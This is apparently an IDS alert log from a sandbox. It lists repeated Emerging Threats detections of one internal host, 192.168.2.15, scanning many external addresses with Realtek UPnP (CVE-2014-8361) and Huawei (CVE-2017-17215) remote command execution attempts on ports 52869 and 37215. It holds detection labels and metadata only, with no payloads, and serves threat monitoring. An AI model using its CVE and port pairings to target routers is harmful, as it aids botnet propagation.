Timestamp:	07/20/24-23:10:39.117975
SID:	2027339
Source Port:	48566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 74.83.241.55

Timestamp:	07/20/24-23:10:47.603876
SID:	2025132
Source Port:	57296
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.4.170.12

Timestamp:	07/20/24-23:10:59.029071
SID:	2835222
Source Port:	54064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.16.241.53

Timestamp:	07/20/24-23:10:41.241455
SID:	2829579
Source Port:	37350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 65.211.208.187

Timestamp:	07/20/24-23:10:40.123839
SID:	2025132
Source Port:	51758
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 18.215.139.152

Timestamp:	07/20/24-23:10:49.360961
SID:	2835222
Source Port:	40958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 84.101.193.179

Timestamp:	07/20/24-23:10:44.240958
SID:	2025132
Source Port:	34226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.30.201.248

Timestamp:	07/20/24-23:10:40.649804
SID:	2835222
Source Port:	37594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 39.91.70.157

Timestamp:	07/20/24-23:10:47.615909
SID:	2025132
Source Port:	42938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 221.141.247.0

Timestamp:	07/20/24-23:11:06.678578
SID:	2829579
Source Port:	51644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 164.168.209.243

Timestamp:	07/20/24-23:10:43.084316
SID:	2025132
Source Port:	49970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 99.171.211.36

Timestamp:	07/20/24-23:10:46.947214
SID:	2025132
Source Port:	58848
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 87.147.33.140

Timestamp:	07/20/24-23:10:51.900424
SID:	2027339
Source Port:	51464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 76.125.10.46

Timestamp:	07/20/24-23:10:39.474284
SID:	2835222
Source Port:	44484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 47.162.26.170

Timestamp:	07/20/24-23:10:43.390649
SID:	2027339
Source Port:	47444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 105.189.130.216

Timestamp:	07/20/24-23:10:47.832674
SID:	2027339
Source Port:	59700
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 220.171.155.214

Timestamp:	07/20/24-23:10:52.024591
SID:	2831300
Source Port:	54794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.27.9.58

Timestamp:	07/20/24-23:10:41.237255
SID:	2835222
Source Port:	43204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 95.251.22.29

Timestamp:	07/20/24-23:10:49.370142
SID:	2829579
Source Port:	48526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.102.220.120

Timestamp:	07/20/24-23:10:52.521111
SID:	2829579
Source Port:	46958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.144.127.180

Timestamp:	07/20/24-23:11:03.361095
SID:	2835222
Source Port:	57212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 86.99.249.186

Timestamp:	07/20/24-23:10:46.657302
SID:	2027339
Source Port:	40266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 159.243.190.45

Timestamp:	07/20/24-23:10:52.569477
SID:	2829579
Source Port:	54524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 111.75.183.223

Timestamp:	07/20/24-23:10:44.224237
SID:	2027339
Source Port:	36958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.57.140.245

Timestamp:	07/20/24-23:10:46.739331
SID:	2829579
Source Port:	49724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 159.33.199.140

Timestamp:	07/20/24-23:10:46.735703
SID:	2835222
Source Port:	39392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.136.4.32

Timestamp:	07/20/24-23:10:59.027427
SID:	2829579
Source Port:	44526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.66.206.67

Timestamp:	07/20/24-23:10:39.473748
SID:	2829579
Source Port:	51722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.16.220.141

Timestamp:	07/20/24-23:10:42.266162
SID:	2835222
Source Port:	57160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 192.141.31.68

Timestamp:	07/20/24-23:10:59.046417
SID:	2835222
Source Port:	33680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.56.150.5

Timestamp:	07/20/24-23:10:46.817180
SID:	2835222
Source Port:	45592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.139.255.152

Timestamp:	07/20/24-23:10:49.355429
SID:	2835222
Source Port:	45082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 141.208.201.80

Timestamp:	07/20/24-23:10:43.890801
SID:	2027339
Source Port:	52482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 100.131.155.71

Timestamp:	07/20/24-23:10:41.230206
SID:	2829579
Source Port:	58572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 200.157.164.208

Timestamp:	07/20/24-23:10:43.912015
SID:	2025132
Source Port:	53734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.44.99.94

Timestamp:	07/20/24-23:10:44.653577
SID:	2027339
Source Port:	59708
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 17.184.223.151

Timestamp:	07/20/24-23:10:51.984562
SID:	2831300
Source Port:	48238
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.211.198.240

Timestamp:	07/20/24-23:10:40.599066
SID:	2829579
Source Port:	48400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.129.244.9

Timestamp:	07/20/24-23:11:03.396755
SID:	2835222
Source Port:	43286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.83.140.24

Timestamp:	07/20/24-23:10:56.007995
SID:	2829579
Source Port:	48450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 100.180.255.242

Timestamp:	07/20/24-23:10:43.579377
SID:	2027339
Source Port:	45970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 206.250.243.12

Timestamp:	07/20/24-23:10:47.558856
SID:	2025132
Source Port:	34736
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 48.66.205.87

Timestamp:	07/20/24-23:10:52.361937
SID:	2027339
Source Port:	59244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.146.53.116

Timestamp:	07/20/24-23:11:03.339788
SID:	2835222
Source Port:	57628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.115.128.14

Timestamp:	07/20/24-23:11:06.712307
SID:	2835222
Source Port:	59976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 119.63.35.114

Timestamp:	07/20/24-23:10:46.015455
SID:	2027339
Source Port:	40828
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 12.48.28.88

Timestamp:	07/20/24-23:10:56.073192
SID:	2835222
Source Port:	39726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 219.152.75.176

Timestamp:	07/20/24-23:10:39.079541
SID:	2027339
Source Port:	37458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.249.63.236

Timestamp:	07/20/24-23:10:42.269853
SID:	2835222
Source Port:	32910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 40.70.214.228

Timestamp:	07/20/24-23:10:51.961781
SID:	2831300
Source Port:	47884
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 184.128.6.167

Timestamp:	07/20/24-23:10:51.999918
SID:	2027339
Source Port:	60396
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.86.19.36

Timestamp:	07/20/24-23:11:03.402557
SID:	2835222
Source Port:	43358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 8.13.226.92

Timestamp:	07/20/24-23:10:44.535658
SID:	2027339
Source Port:	52146
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 39.91.70.157

Timestamp:	07/20/24-23:10:51.969869
SID:	2027339
Source Port:	45066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.64.176.50

Timestamp:	07/20/24-23:11:06.683012
SID:	2835222
Source Port:	53910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 162.144.96.77

Timestamp:	07/20/24-23:10:42.641904
SID:	2831300
Source Port:	33360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 187.14.16.38

Timestamp:	07/20/24-23:10:40.604941
SID:	2835222
Source Port:	47964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 173.221.148.228

Timestamp:	07/20/24-23:10:43.882151
SID:	2025132
Source Port:	39378
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 58.115.50.235

Timestamp:	07/20/24-23:10:51.948284
SID:	2831300
Source Port:	50024
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 137.22.60.132

Timestamp:	07/20/24-23:10:51.905303
SID:	2831300
Source Port:	43452
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 221.197.45.79

Timestamp:	07/20/24-23:10:56.073192
SID:	2829579
Source Port:	52332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 80.32.231.92

Timestamp:	07/20/24-23:10:41.228259
SID:	2829579
Source Port:	38528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 64.75.22.24

Timestamp:	07/20/24-23:10:42.254986
SID:	2835222
Source Port:	50434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 164.17.49.215

Timestamp:	07/20/24-23:10:40.652868
SID:	2829579
Source Port:	49330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.54.207.135

Timestamp:	07/20/24-23:11:03.368250
SID:	2835222
Source Port:	40680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 172.248.193.236

Timestamp:	07/20/24-23:10:43.945120
SID:	2027339
Source Port:	55656
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 216.15.194.11

Timestamp:	07/20/24-23:10:39.488246
SID:	2829579
Source Port:	48038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.216.192.26

Timestamp:	07/20/24-23:10:41.241455
SID:	2829579
Source Port:	56746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 8.28.61.99

Timestamp:	07/20/24-23:10:42.630640
SID:	2831300
Source Port:	59508
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 59.27.85.148

Timestamp:	07/20/24-23:10:49.398416
SID:	2835222
Source Port:	54556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 110.197.204.146

Timestamp:	07/20/24-23:10:49.342527
SID:	2829579
Source Port:	35014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 141.95.223.128

Timestamp:	07/20/24-23:10:56.006442
SID:	2829579
Source Port:	51666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 8.253.245.245

Timestamp:	07/20/24-23:11:03.390577
SID:	2835222
Source Port:	47932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.176.42.114

Timestamp:	07/20/24-23:10:42.250388
SID:	2829579
Source Port:	53246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 35.212.114.203

Timestamp:	07/20/24-23:10:45.553102
SID:	2027339
Source Port:	50882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 193.248.3.188

Timestamp:	07/20/24-23:10:46.809208
SID:	2835222
Source Port:	35816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.219.253.151

Timestamp:	07/20/24-23:10:52.569477
SID:	2829579
Source Port:	55772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.135.228.141

Timestamp:	07/20/24-23:10:39.478846
SID:	2835222
Source Port:	38488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.74.251.202

Timestamp:	07/20/24-23:11:06.657863
SID:	2835222
Source Port:	57872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.251.199.58

Timestamp:	07/20/24-23:10:46.810541
SID:	2835222
Source Port:	39732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.94.215.66

Timestamp:	07/20/24-23:10:56.024382
SID:	2835222
Source Port:	48774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.52.217.19

Timestamp:	07/20/24-23:10:58.910194
SID:	2835222
Source Port:	36336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.210.73.76

Timestamp:	07/20/24-23:10:39.495983
SID:	2829579
Source Port:	51542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 81.7.136.58

Timestamp:	07/20/24-23:10:40.644796
SID:	2835222
Source Port:	38168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 86.41.84.165

Timestamp:	07/20/24-23:10:52.024960
SID:	2831300
Source Port:	49958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 104.55.110.105

Timestamp:	07/20/24-23:11:06.663147
SID:	2835222
Source Port:	43708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 153.91.88.242

Timestamp:	07/20/24-23:10:52.047769
SID:	2027339
Source Port:	36284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 207.205.38.109

Timestamp:	07/20/24-23:10:56.011930
SID:	2829579
Source Port:	40266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.59.180.251

Timestamp:	07/20/24-23:10:49.342527
SID:	2835222
Source Port:	48432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.7.42.86

Timestamp:	07/20/24-23:10:59.029071
SID:	2835222
Source Port:	34464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 83.178.139.14

Timestamp:	07/20/24-23:10:53.126805
SID:	2831300
Source Port:	35564
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.95.191.180

Timestamp:	07/20/24-23:10:52.517494
SID:	2835222
Source Port:	40496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.63.58.18

Timestamp:	07/20/24-23:10:56.011227
SID:	2835222
Source Port:	40292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 38.26.176.35

Timestamp:	07/20/24-23:10:49.398416
SID:	2829579
Source Port:	35744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.76.21.41

Timestamp:	07/20/24-23:10:49.450306
SID:	2829579
Source Port:	58846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 58.115.50.235

Timestamp:	07/20/24-23:10:46.666447
SID:	2027339
Source Port:	48046
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.70.57.191

Timestamp:	07/20/24-23:10:40.601389
SID:	2829579
Source Port:	34274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.81.219.59

Timestamp:	07/20/24-23:11:06.706527
SID:	2829579
Source Port:	57998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.227.212.197

Timestamp:	07/20/24-23:10:49.402846
SID:	2829579
Source Port:	39778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.55.63.232

Timestamp:	07/20/24-23:10:41.231521
SID:	2835222
Source Port:	44828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.149.230.36

Timestamp:	07/20/24-23:10:39.478846
SID:	2829579
Source Port:	35092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.117.110.31

Timestamp:	07/20/24-23:11:03.381593
SID:	2829579
Source Port:	56836
Destination Port:	37215
